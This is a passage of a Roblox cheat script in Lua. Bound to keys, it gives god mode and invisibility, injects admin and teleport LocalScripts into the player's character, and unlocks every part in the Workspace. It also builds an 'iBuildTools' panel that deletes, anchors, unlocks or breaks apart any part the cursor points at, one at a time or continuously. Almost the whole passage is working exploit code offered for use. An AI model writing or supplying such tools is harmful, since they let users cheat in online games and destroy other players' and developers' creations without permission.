  3170. Player:SetSuperSafeChat(false)
  3171. return
  3172. end
  3173. CommandBar''
  3174. game.Players.LocalPlayer:SetSuperSafeChat(false)
  3175. end
  3176. elseif Key==FocusKey then
  3177. CommanderFocus''
  3178. elseif Key==ExproKey then
  3179. ExproGui''
  3180. Player:SetSuperSafeChat(false)
  3181. elseif Key==ExplorerKey then
  3182. ExplorerGui''
  3183. Player:SetSuperSafeChat(false)
  3184. elseif Key==AdminKey then
  3185. coroutine.resume(coroutine.create(function()
  3186. if(game.Players.LocalPlayer.Character~=nil)then
  3187. if not(game.Players.LocalPlayer.Character:FindFirstChild("_admincmd"))then
  3188. AdminScript=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
  3189. AdminScript.Name="_admincmd"
  3190. AdminScript.Source=AdminScriptSource
  3191. AdminScript.Disabled=true
  3192. AdminScript.Disabled=false
  3193. end
  3194. end
  3195. end))
  3196. elseif Key==InvisiKey then
  3197. coroutine.resume(coroutine.create(function()
  3198. if not(game.Players.LocalPlayer.Backpack:FindFirstChild("iMergeTool"))then
  3199. MergeTool=ctool("iMergeTool")
  3200. MergeScript=Instance.new("LocalScript",MergeTool)
  3201. end
  3202. MergeScript.Source=MergeScriptSource
  3203. MergeScript.Disabled=true
  3204. MergeScript.Disabled=false
  3205. function invisi(path)
  3206. for _,v in pairs(path:GetChildren())do
  3207. if(v:IsA("Part"))or(v:IsA("Decal"))then
  3208. v.Transparency=1
  3209. end
  3210. invisi(v)
  3211. end
  3212. end
  3213. if(game.Players.LocalPlayer.Character~=nil)then
  3214. invisi(game.Players.LocalPlayer.Character)
  3215. end
  3216. game.Players.LocalPlayer.Character.Humanoid.MaxHealth=math.huge
  3217. game.Players.LocalPlayer.Character.Humanoid.Health=math.huge
  3218. game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=DefaultGodAndInvisiWalkSpeed
  3219. game.Players.LocalPlayer:SetSuperSafeChat(false)
  3220. end))
  3221. elseif Key==VisiKey then
  3222. coroutine.resume(coroutine.create(function()
  3223. function uninvisi(path)
  3224. for _,v in pairs(path:GetChildren())do
  3225. if(v:IsA("Part"))or(v:IsA("Decal"))then
  3226. v.Transparency=0
  3227. end
  3228. uninvisi(v)
  3229. end
  3230. end
  3231. if(game.Players.LocalPlayer.Character~=nil)then
  3232. uninvisi(game.Players.LocalPlayer.Character)
  3233. end
  3234. game.Players.LocalPlayer.Character.Humanoid.MaxHealth=100
  3235. game.Players.LocalPlayer.Character.Humanoid.Health=100
  3236. game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=16
  3237. game.Players.LocalPlayer:SetSuperSafeChat(false)
  3238. end))
  3239. elseif Key==GodKey then
  3240. coroutine.resume(coroutine.create(function()
  3241. if not(game.Players.LocalPlayer.Backpack:FindFirstChild("iMergeTool"))then
  3242. MergeTool=ctool("iMergeTool")
  3243. MergeScript=Instance.new("LocalScript",MergeTool)
  3244. end
  3245. MergeScript.Source=MergeScriptSource
  3246. MergeScript.Disabled=true
  3247. MergeScript.Disabled=false
  3248. if not(game.Players.LocalPlayer.Backpack:FindFirstChild("iTeleport"))then
  3249. TeleportTool=ctool("iTeleport")
  3250. TeleportScript=Instance.new("LocalScript",TeleportTool)
  3251. end
  3252. TeleportScript.Source=[[
  3253. if(script.Parent:IsA("HopperBin"))then
  3254. script.Parent.Selected:connect(function(mouse)
  3255. mouse.Button1Down:connect(function()
  3256. if(game.Players.LocalPlayer.Character~=nil)then
  3257. if(game.Players.LocalPlayer.Character.Torso~=nil)then
  3258. game.Players.LocalPlayer.Character.Torso.CFrame=CFrame.new(mouse.Hit.p+Vector3.new(0,5,0))
  3259. end
  3260. end
  3261. end)
  3262. end)
  3263. end]]
  3264. TeleportScript.Disabled=true
  3265. TeleportScript.Disabled=false
  3266. function aff(path)
  3267. for _,v in pairs(path:GetChildren())do
  3268. if(v:IsA("Part"))then
  3269. Instance.new("ForceField",v)
  3270. end
  3271. aff(v)
  3272. end
  3273. end
  3274. aff(game.Players.LocalPlayer.Character)
  3275. Instance.new("ForceField",game.Players.LocalPlayer.Character)
  3276. game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=DefaultGodAndInvisiWalkSpeed
  3277. game.Players.LocalPlayer.Character.Head.Transparency=1
  3278. if(game.Players.LocalPlayer.Character.Head:FindFirstChild("face"))then
  3279. game.Players.LocalPlayer.Character.Head:FindFirstChild("face"):remove()
  3280. end
  3281. game.Players.LocalPlayer.Character.Humanoid.MaxHealth=math.huge
  3282. wait()
  3283. game.Players.LocalPlayer.Character.Humanoid.Health=math.huge
  3284. game.Players.LocalPlayer:SetSuperSafeChat(false)
  3285. end))
  3286. Player:SetSuperSafeChat(false)
  3287. elseif Key==UnlockKey then
  3288. function unlock(root)
  3289. for _, v in pairs(root:GetChildren()) do
  3290. if(v:IsA("Part"))then
  3291. v.Locked=false
  3292. end
  3293. unlock(v)
  3294. end
  3295. end
  3296. unlock(game.Workspace)
  3297. coroutine.resume(coroutine.create(function()
  3298. if not(game.Players.LocalPlayer.Backpack:FindFirstChild("Unlocked!"))then
  3299. local load=ctool("Unlocked!")
  3300. end
  3301. wait(4)
  3302. if (game.Players.LocalPlayer.Backpack:FindFirstChild("Unlocked!"))then
  3303. game.Players.LocalPlayer.Backpack:FindFirstChild("Unlocked!"):remove()
  3304. end
  3305. end))
  3306. elseif Key==LockKey then
  3307. function unlock(root)
  3308. for _, v in pairs(root:GetChildren()) do
  3309. if(v:IsA("Part"))then
  3310. v.Locked=true
  3311. end
  3312. unlock(v)
  3313. end
  3314. end
  3315. unlock(game.Workspace)
  3316. coroutine.resume(coroutine.create(function()
  3317. if not(game.Players.LocalPlayer.Backpack:FindFirstChild("Locked!"))then
  3318. local load=ctool("Locked!")
  3319. end
  3320. wait(4)
  3321. if (game.Players.LocalPlayer.Backpack:FindFirstChild("Locked!"))then
  3322. game.Players.LocalPlayer.Backpack:FindFirstChild("Locked!"):remove()
  3323. end
  3324. end))
  3325. elseif Key==BuildKey then
  3326. Player:SetSuperSafeChat(false)
  3327. coroutine.resume(coroutine.create(function()
  3328. if not(game.Players.LocalPlayer.Backpack:FindFirstChild("iMergeTool"))then
  3329. MergeTool=ctool("iMergeTool")
  3330. MergeScript=Instance.new("LocalScript",MergeTool)
  3331. end
  3332. MergeScript.Source=MergeScriptSource
  3333. MergeScript.Disabled=true
  3334. MergeScript.Disabled=false
  3335. if not(game.Players.LocalPlayer.Backpack:FindFirstChild("iCloneTool"))then
  3336. local clone=ctool("iCloneTool")
  3337. clone.BinType = "Clone"
  3338. end
  3339. if not(game.Players.LocalPlayer.Backpack:FindFirstChild("iGrabPartTool"))then
  3340. local move=ctool("iGrabPartTool")
  3341. move.BinType = "GameTool"
  3342. end
  3343. if not(game.Players.LocalPlayer.Backpack:FindFirstChild("iGrabModelTool"))then
  3344. local move=ctool("iGrabModelTool")
  3345. move.BinType = "Grab"
  3346. end
  3347. if not(game.Players.LocalPlayer.Backpack:FindFirstChild("iBTool"))then
  3348. iBTool=ctool("iBTool")
  3349. iBToolScript=Instance.new("LocalScript",iBTool)
  3350. iBToolScript.Name="iBScript"
  3351. end
  3352. iBToolScript.Source=[[
  3353. plr=game.Players.LocalPlayer
  3354. plg=plr.PlayerGui
  3355. coroutine.resume(coroutine.create(function(plr) while(wait())do chr=plr.Character end end),plr)
  3356.  
  3357. if(script.Parent.ClassName~="HopperBin")then
  3358. bin=Instance.new("HopperBin",plr.Backpack)
  3359. bin.Name="iBTool"
  3360. script.Name="iBScript"
  3361. script.Parent=bin
  3362. else
  3363. script.Name="iBScript"
  3364. bin=script.Parent
  3365. bin.Name="iBTool"
  3366. end
  3367.  
  3368. bin.Selected:connect(function(mouse) print("iBTool_Selected")
  3369. box=Instance.new("SelectionBox")
  3370. lso=Instance.new("SelectionPointLasso",chr)
  3371. lso.Visible=false
  3372. lso.Humanoid=chr:FindFirstChild("Humanoid")
  3373. md1=1
  3374. md2=1
  3375. md3=1
  3376. clr=true
  3377. ste=false
  3378. lvi=false
  3379. cle=false
  3380. tme=.3
  3381. function createGui()
  3382. gui=Instance.new("ScreenGui",plg)
  3383. gui.Name="iBGui"
  3384. --PanelGUI--
  3385. frm=Instance.new("Frame",gui)
  3386. frm.Visible=false
  3387. frm.Name="iBPanel"
  3388. frm.Position=UDim2.new(0.0199999996,0,0.400000006,0)
  3389. frm.Size=UDim2.new(0.150000006,0,0.400000006,0)
  3390. frm.Style="RobloxRound"
  3391. frm.ZIndex=8
  3392. lab=Instance.new("TextLabel",frm)
  3393. lab.Name="iBTitle"
  3394. lab.BackgroundTransparency=1
  3395. lab.Size=UDim2.new(1,0,0.150000006,0)
  3396. lab.ZIndex=9
  3397. lab.Font="ArialBold"
  3398. lab.FontSize="Size18"
  3399. lab.Text="iBuildTools Panel"
  3400. lab.TextColor3=Color3.new(1,1,1)
  3401. lab.TextStrokeTransparency=0
  3402. lab.TextStrokeColor3=Color3.new(0,0,0)
  3403. del=Instance.new("TextButton",frm)
  3404. del.Name="iBDelete"
  3405. del.BackgroundTransparency=1
  3406. del.Position=UDim2.new(0,0,0.200000003,0)
  3407. del.Size=UDim2.new(1,0,0.119999997,0)
  3408. del.Style="RobloxButtonDefault"
  3409. del.ZIndex=9
  3410. del.Font="ArialBold"
  3411. del.FontSize="Size12"
  3412. del.Text="Delete"
  3413. del.TextColor3=Color3.new(1,1,1)
  3414. del.Selected=true
  3415. ach=Instance.new("TextButton",frm)
  3416. ach.Name="iBAnchor"
  3417. ach.BackgroundTransparency=1
  3418. ach.Position=UDim2.new(0,0,0.330000013,0)
  3419. ach.Size=UDim2.new(1,0,0.119999997,0)
  3420. ach.Style="RobloxButton"
  3421. ach.ZIndex=9
  3422. ach.Font="ArialBold"
  3423. ach.FontSize="Size12"
  3424. ach.Text="Anchor"
  3425. ach.TextColor3=Color3.new(1,1,1)
  3426. col=Instance.new("TextButton",frm)
  3427. col.Name="iBCanCollide"
  3428. col.BackgroundTransparency=1
  3429. col.Position=UDim2.new(0,0,0.460000008,0)
  3430. col.Size=UDim2.new(1,0,0.119999997,0)
  3431. col.Style="RobloxButton"
  3432. col.ZIndex=9
  3433. col.Font="ArialBold"
  3434. col.FontSize="Size12"
  3435. col.Text="CanCollide"
  3436. col.TextColor3=Color3.new(1,1,1)
  3437. lck=Instance.new("TextButton",frm)
  3438. lck.Name="iBLock"
  3439. lck.BackgroundTransparency=1
  3440. lck.Position=UDim2.new(0,0,0.579999983,0)
  3441. lck.Size=UDim2.new(1,0,0.119999997,0)
  3442. lck.Style="RobloxButton"
  3443. lck.ZIndex=9
  3444. lck.Font="ArialBold"
  3445. lck.FontSize="Size12"
  3446. lck.Text="Lock"
  3447. lck.TextColor3=Color3.new(1,1,1)
  3448. brk=Instance.new("TextButton",frm)
  3449. brk.Name="iBBreak"
  3450. brk.BackgroundTransparency=1
  3451. brk.Position=UDim2.new(0,0,0.699999988,0)
  3452. brk.Size=UDim2.new(1,0,0.119999997,0)
  3453. brk.Style="RobloxButton"
  3454. brk.ZIndex=9
  3455. brk.Font="ArialBold"
  3456. brk.FontSize="Size12"
  3457. brk.Text="BreakJoints"
  3458. brk.TextColor3=Color3.new(1,1,1)
  3459. set=Instance.new("TextButton",frm)
  3460. set.Name="iBSettings"
  3461. set.BackgroundTransparency=1
  3462. set.Position=UDim2.new(0,0,0.829999983,0)
  3463. set.Size=UDim2.new(1,0,0.119999997,0)
  3464. set.Style="RobloxButton"
  3465. set.ZIndex=9
  3466. set.Font="ArialBold"
  3467. set.FontSize="Size12"
  3468. set.Text="Settings"
  3469. set.TextColor3=Color3.new(1,1,1)
  3470. frm.Visible=true
  3471. --SettingsGUI--
  3472. frs=Instance.new("Frame",gui)
  3473. frs.Visible=false
  3474. frs.Name="iBSettings"
  3475. frs.Position=UDim2.new(0.389999986,0,0.400000006,0)
  3476. frs.Size=UDim2.new(0.25,0,0.25,0)
  3477. frs.Style="RobloxRound"
  3478. frs.ZIndex=8
  3479. frw=Instance.new("Frame",frs)
  3480. frw.Name="iBWindow"
  3481. frw.Position=UDim2.new(0,0,0.25999999,0)
  3482. frw.Size=UDim2.new(1,0,0.74000001,0)
  3483. frw.Style="RobloxRound"
  3484. frw.ZIndex=8
  3485. cls=Instance.new("TextButton",frs)
  3486. cls.Name="iBClose"
  3487. cls.Position=UDim2.new(0.850000024,0,-0.00999999978,0)
  3488. cls.Size=UDim2.new(0.150000006,0,0.219999999,0)
  3489. cls.Style="RobloxButtonDefault"
  3490. cls.ZIndex=10
  3491. cls.Font="ArialBold"
  3492. cls.FontSize="Size12"
  3493. cls.Text="X"
  3494. cls.TextColor3=Color3.new(1,0,0)
  3495. wtl=Instance.new("TextLabel",frs)
  3496. wtl.Name="iBTitle"
  3497. wtl.BackgroundTransparency=1
  3498. wtl.Size=UDim2.new(1,0,0.25,0)
  3499. wtl.ZIndex=9
  3500. wtl.Font="ArialBold"
  3501. wtl.FontSize="Size14"
  3502. wtl.Text="iBuildTools Settings Window"
  3503. wtl.TextColor3=Color3.new(1,1,1)
  3504. wtl.TextStrokeColor3=Color3.new(0,0,0)
  3505. wtl.TextStrokeTransparency=0
  3506. wtl.TextXAlignment="Left"
  3507. clk=Instance.new("TextLabel",frw)
  3508. clk.Name="iBClick"
  3509. clk.BackgroundTransparency=1
  3510. clk.Size=UDim2.new(1,0,0.330000013,0)
  3511. clk.ZIndex=10
  3512. clk.Font="ArialBold"
  3513. clk.FontSize="Size12"
  3514. clk.TextColor3=Color3.new(1,1,1)
  3515. clk.Text=" - Click Mode : "
  3516. clk.TextStrokeColor3=Color3.new(0,0,0)
  3517. clk.TextStrokeTransparency=0
  3518. clk.TextXAlignment="Left"
  3519. ray=Instance.new("TextLabel",frw)
  3520. ray.Name="iBRay"
  3521. ray.BackgroundTransparency=1
  3522. ray.Position=UDim2.new(0,0,0.330000013,0)
  3523. ray.Size=UDim2.new(1,0,0.330000013,0)
  3524. ray.ZIndex=10
  3525. ray.Font="ArialBold"
  3526. ray.FontSize="Size12"
  3527. ray.TextColor3=Color3.new(1,1,1)
  3528. ray.Text=" - Ray Mode : "
  3529. ray.TextStrokeColor3=Color3.new(0,0,0)
  3530. ray.TextStrokeTransparency=0
  3531. ray.TextXAlignment="Left"
  3532. rfc=Instance.new("TextLabel",frw)
  3533. rfc.Name="iBRayFunction"
  3534. rfc.BackgroundTransparency=1
  3535. rfc.Position=UDim2.new(0,0,0.660000013,0)
  3536. rfc.Size=UDim2.new(1,0,0.330000013,0)
  3537. rfc.ZIndex=10
  3538. rfc.Font="ArialBold"
  3539. rfc.FontSize="Size12"
  3540. rfc.TextColor3=Color3.new(1,1,1)
  3541. rfc.Text=" - Ray Function : "
  3542. rfc.TextStrokeColor3=Color3.new(0,0,0)
  3543. rfc.TextStrokeTransparency=0
  3544. rfc.TextXAlignment="Left"
  3545. ckb=Instance.new("TextButton",frw)
  3546. ckb.Name="iBClickButton"
  3547. ckb.Position=UDim2.new(0.400000006,0,0,0)
  3548. ckb.Size=UDim2.new(0.600000024,0,0.330000013,0)
  3549. ckb.ZIndex=10
  3550. ckb.Selected=true
  3551. ckb.Style="RobloxButtonDefault"
  3552. ckb.Font="ArialBold"
  3553. ckb.FontSize="Size12"
  3554. ckb.Text="Enabled"
  3555. ckb.TextColor3=Color3.new(0,1,0)
  3556. ryb=Instance.new("TextButton",frw)
  3557. ryb.Name="iBRayButton"
  3558. ryb.Position=UDim2.new(0.400000006,0,0.330000013,0)
  3559. ryb.Size=UDim2.new(0.600000024,0,0.330000013,0)
  3560. ryb.Style="RobloxButton"
  3561. ryb.ZIndex=10
  3562. ryb.Font="ArialBold"
  3563. ryb.FontSize="Size12"
  3564. ryb.Text="Disabled"
  3565. ryb.TextColor3=Color3.new(1,0,0)
  3566. rfb=Instance.new("TextButton",frw)
  3567. rfb.Name="iBRayFButton"
  3568. rfb.Position=UDim2.new(0.400000006,0,0.660000013,0)
  3569. rfb.Size=UDim2.new(0.600000024,0,0.330000013,0)
  3570. rfb.Style="RobloxButtonDefault"
  3571. rfb.ZIndex=10
  3572. rfb.Font="ArialBold"
  3573. rfb.FontSize="Size12"
  3574. rfb.Text="Enable Propertie"
  3575. rfb.TextColor3=Color3.new(0,1,0)
  3576. end
  3577. createGui()
  3578. coroutine.resume(coroutine.create(function()
  3579. while(mouse)and wait() do
  3580. if(box)and(ray)then
  3581. if(lvi)then
  3582. lso.Visible=true
  3583. else
  3584. lso.Visible=false
  3585. end
  3586. if(md1==1)then
  3587. if(clr)then
  3588. if(mouse.Target~=nil)then
  3589. if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mouse.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
  3590. box.Visible=true
  3591. box.Parent=chr
  3592. box.Adornee=mouse.Target
  3593. if(md2==1)then
  3594. box.Color=BrickColor.new("Bright red")
  3595. elseif(md2==2)then
  3596. if(mouse.Target.Anchored)then
  3597. box.Color=BrickColor.new("Camo")
  3598. else
  3599. box.Color=BrickColor.new("Bright red")
  3600. end
  3601. elseif(md2==3)then
  3602. if(mouse.Target.CanCollide)then
  3603. box.Color=BrickColor.new("Camo")
  3604. else
  3605. box.Color=BrickColor.new("Bright red")
  3606. end
  3607. elseif(md2==4)then
  3608. if(mouse.Target.Locked)then
  3609. box.Color=BrickColor.new("Camo")
  3610. else
  3611. box.Color=BrickColor.new("Bright red")
  3612. end
  3613. elseif(md2==5)then
  3614. box.Color=BrickColor.new("Bright blue")
  3615. end
  3616. end
  3617. else
  3618. box.Visible=false
  3619. box.Parent=nil
  3620. box.Adornee=nil
  3621. end
  3622. end
  3623. elseif(md1==2)then
  3624. lso.Point=mouse.Hit.p
  3625. lso.Parent=chr
  3626. box.Visible=false
  3627. box.Parent=nil
  3628. box.Adornee=nil
  3629. if(md2~=1)and(md2~=5)then
  3630. if(md3==1)then
  3631. lso.Color=BrickColor.new("Camo")
  3632. elseif(md3==2)then
  3633. lso.Color=BrickColor.new("Bright red")
  3634. end
  3635. elseif(md2==1)then
  3636. if(cle)then
  3637. lso.Color=BrickColor.new("Bright red")
  3638. else
  3639. lso.Color=BrickColor.new("Bright blue")
  3640. end
  3641. elseif(md2==5)then
  3642. if(cle)then
  3643. lso.Color=BrickColor.new("Bright red")
  3644. else
  3645. lso.Color=BrickColor.new("Bright blue")
  3646. end
  3647. end
  3648. end
  3649. end
  3650. end
  3651. end))
  3652. function delDown()
  3653. del_downFunc=mouse.Button1Down:connect(function()
  3654. md2=1
  3655. if(md2==1)then
  3656. if(md1==1)then
  3657. if(mouse.Target~=nil)then
  3658. if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mouse.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
  3659. mouse.Target:remove()
  3660. end
  3661. end
  3662. elseif(md1==2)then
  3663. lvi=true
  3664. while(lvi)and wait() do
  3665. if(mouse.Target~=nil)then
  3666. if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mouse.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
  3667. mouse.Target:remove()
  3668. cle=true
  3669. wait(tme)
  3670. cle=false
  3671. else
  3672. cle=false
  3673. end
  3674. else
  3675. cle=false
  3676. end
  3677. end
  3678. end
  3679. end
  3680. end)
  3681. end
  3682. function delUp()
  3683. del_upFunc=mouse.Button1Up:connect(function()
  3684. lvi=false
  3685. cle=false
  3686. end)
  3687. end
  3688. function achDown()
  3689. ach_downFunc=mouse.Button1Down:connect(function()
  3690. md2=2
  3691. if(md2==2)then
  3692. if(md1==1)then
  3693. if(mouse.Target~=nil)then
  3694. if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mouse.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
  3695. if(mouse.Target.Anchored)then
  3696. mouse.Target.Anchored=false
  3697. else
  3698. mouse.Target.Anchored=true
  3699. end
  3700. end
  3701. end
  3702. elseif(md1==2)then
  3703. lvi=true
  3704. while(lvi)and wait() do
  3705. if(mouse.Target~=nil)then
  3706. if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mouse.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
  3707. if(md3==1)then
  3708. mouse.Target.Anchored=true
  3709. elseif(md3==2)then
  3710. mouse.Target.Anchored=false
  3711. end
  3712. end
  3713. end
  3714. end
  3715. end
  3716. end
  3717. end)
  3718. end
  3719. function achUp()
  3720. ach_upFunc=mouse.Button1Up:connect(function()
  3721. lvi=false
  3722. end)
  3723. end
  3724. function colDown()
  3725. col_downFunc=mouse.Button1Down:connect(function()
  3726. md2=3
  3727. if(md2==3)then
  3728. if(md1==1)then
  3729. if(mouse.Target~=nil)then
  3730. if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mouse.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
  3731. if(mouse.Target.CanCollide)then
  3732. mouse.Target.CanCollide=false
  3733. else
  3734. mouse.Target.CanCollide=true
  3735. end
  3736. end
  3737. end
  3738. elseif(md1==2)then
  3739. lvi=true
  3740. while(lvi)and wait() do
  3741. if(mouse.Target~=nil)then
  3742. if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mouse.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
  3743. if(md3==1)then
  3744. mouse.Target.CanCollide=true
  3745. elseif(md3==2)then
  3746. mouse.Target.CanCollide=false
  3747. end
  3748. end
  3749. end
  3750. end
  3751. end
  3752. end
  3753. end)
  3754. end
  3755. function colUp()
  3756. col_upFunc=mouse.Button1Up:connect(function()
  3757. lvi=false
  3758. end)
  3759. end
  3760. function lckDown()
  3761. lck_downFunc=mouse.Button1Down:connect(function()
  3762. md2=4
  3763. if(md2==4)then
  3764. if(md1==1)then
  3765. if(mouse.Target~=nil)then
  3766. if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mouse.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
  3767. if(mouse.Target.Locked)then
  3768. mouse.Target.Locked=false
  3769. else
  3770. mouse.Target.Locked=true
  3771. end
  3772. end
  3773. end
  3774. elseif(md1==2)then
  3775. lvi=true
  3776. while(lvi)and wait() do
  3777. if(mouse.Target~=nil)then
  3778. if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mouse.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
  3779. if(md3==1)then
  3780. mouse.Target.Locked=true
  3781. elseif(md3==2)then
  3782. mouse.Target.Locked=false
  3783. end
  3784. end
  3785. end
  3786. end
  3787. end
  3788. end
  3789. end)
  3790. end
  3791. function lckUp()
  3792. lck_upFunc=mouse.Button1Up:connect(function()
  3793. lvi=false
  3794. end)
  3795. end
  3796. function brkDown()
  3797. brk_downFunc=mouse.Button1Down:connect(function()
  3798. md2=5
  3799. if(md2==5)then
  3800. if(md1==1)then
  3801. if(mouse.Target~=nil)then
  3802. if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mouse.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
  3803. clr=false
  3804. box.Color=BrickColor.new("Bright red")
  3805. mouse.Target:BreakJoints()
  3806. end
  3807. end
  3808. elseif(md1==2)then
  3809. lvi=true
  3810. while(lvi)and wait() do
  3811. if(mouse.Target~=nil)then
  3812. if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mouse.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
  3813. mouse.Target:BreakJoints()
  3814. cle=true
  3815. else
  3816. cle=true
  3817. end
  3818. else
  3819. cle=false
  3820. end
  3821. end
  3822. end
  3823. end
  3824. end)
  3825. end
  3826. function brkUp()
  3827. brk_upFunc=mouse.Button1Up:connect(function()
  3828. clr=true
  3829. lvi=false
  3830. cle=false
  3831. end)
  3832. end
  3833. delDown()
  3834. delUp()
  3835. achDown()
  3836. achUp()
  3837. colDown()
  3838. colUp()
  3839. lckDown()
  3840. lckUp()
  3841. brkDown()
  3842. brkUp()
  3843. del.MouseButton1Click:connect(function()
  3844. md2=1
  3845. del_downFunc:disconnect()
  3846. del_upFunc:disconnect()
  3847. ach_downFunc:disconnect()
  3848. ach_upFunc:disconnect()
  3849. col_downFunc:disconnect()
  3850. col_upFunc:disconnect()
  3851. lck_downFunc:disconnect()
  3852. lck_upFunc:disconnect()
  3853. brk_downFunc:disconnect()
  3854. brk_upFunc:disconnect()
  3855. del.Style="RobloxButtonDefault"
  3856. del.Selected=true
  3857. ach.Style="RobloxButton"
  3858. ach.Selected=false
  3859. col.Style="RobloxButton"
  3860. col.Selected=false
  3861. lck.Style="RobloxButton"
  3862. lck.Selected=false
  3863. brk.Style="RobloxButton"
  3864. brk.Selected=false
  3865. delDown()
  3866. delUp()
  3867. end)
  3868. ach.MouseButton1Click:connect(function()
  3869. md2=2
  3870. del_downFunc:disconnect()
  3871. del_upFunc:disconnect()
  3872. ach_downFunc:disconnect()
  3873. ach_upFunc:disconnect()
  3874. col_downFunc:disconnect()
  3875. col_upFunc:disconnect()
  3876. lck_downFunc:disconnect()
  3877. lck_upFunc:disconnect()
  3878. brk_downFunc:disconnect()
  3879. brk_upFunc:disconnect()
  3880. del.Style="RobloxButton"
  3881. del.Selected=false
  3882. ach.Style="RobloxButtonDefault"
  3883. ach.Selected=true
  3884. col.Style="RobloxButton"
  3885. col.Selected=false
  3886. lck.Style="RobloxButton"
  3887. lck.Selected=false
  3888. brk.Style="RobloxButton"
  3889. brk.Selected=false
  3890. achDown()
  3891. achUp()
  3892. end)
  3893. col.MouseButton1Click:connect(function()
  3894. md2=3
  3895. del_downFunc:disconnect()
  3896. del_upFunc:disconnect()
  3897. ach_downFunc:disconnect()
  3898. ach_upFunc:disconnect()
  3899. col_downFunc:disconnect()
  3900. col_upFunc:disconnect()
  3901. lck_downFunc:disconnect()
  3902. lck_upFunc:disconnect()
  3903. brk_downFunc:disconnect()
  3904. brk_upFunc:disconnect()
  3905. del.Style="RobloxButton"
  3906. del.Selected=false
  3907. ach.Style="RobloxButton"
  3908. ach.Selected=false
  3909. col.Style="RobloxButtonDefault"
  3910. col.Selected=true
  3911. lck.Style="RobloxButton"
  3912. lck.Selected=false
  3913. brk.Style="RobloxButton"
  3914. brk.Selected=false
  3915. colDown()
  3916. colUp()
  3917. end)
  3918. lck.MouseButton1Click:connect(function()
  3919. md2=4
  3920. del_downFunc:disconnect()
  3921. del_upFunc:disconnect()
  3922. ach_downFunc:disconnect()
  3923. ach_upFunc:disconnect()
  3924. col_downFunc:disconnect()
  3925. col_upFunc:disconnect()
  3926. lck_downFunc:disconnect()
  3927. lck_upFunc:disconnect()
  3928. brk_downFunc:disconnect()
  3929. brk_upFunc:disconnect()
  3930. del.Style="RobloxButton"
  3931. del.Selected=false
  3932. ach.Style="RobloxButton"
  3933. ach.Selected=false
  3934. col.Style="RobloxButton"
  3935. col.Selected=false
  3936. lck.Style="RobloxButtonDefault"
  3937. lck.Selected=true
  3938. brk.Style="RobloxButton"
  3939. brk.Selected=false
  3940. lckDown()
  3941. lckUp()
  3942. end)
  3943. brk.MouseButton1Click:connect(function()
  3944. md2=5
  3945. del_downFunc:disconnect()
  3946. del_upFunc:disconnect()
  3947. ach_downFunc:disconnect()
  3948. ach_upFunc:disconnect()
  3949. col_downFunc:disconnect()
  3950. col_upFunc:disconnect()
  3951. lck_downFunc:disconnect()
  3952. lck_upFunc:disconnect()
  3953. brk_downFunc:disconnect()
  3954. brk_upFunc:disconnect()
  3955. del.Style="RobloxButton"
  3956. del.Selected=false
  3957. ach.Style="RobloxButton"
  3958. ach.Selected=false
  3959. col.Style="RobloxButton"
  3960. col.Selected=false
  3961. lck.Style="RobloxButton"
  3962. lck.Selected=false
  3963. brk.Style="RobloxButtonDefault"
  3964. brk.Selected=true
  3965. brkDown()
  3966. brkUp()
  3967. end)
  3968. set.MouseButton1Click:connect(function()
  3969. if(ste)then
  3970. ste=false
  3971. frs.Visible=false
  3972. set.Style="RobloxButton"
  3973. else
  3974. ste=true
  3975. frs.Visible=true
  3976. set.Style="RobloxButtonDefault"
  3977. end
  3978. end)
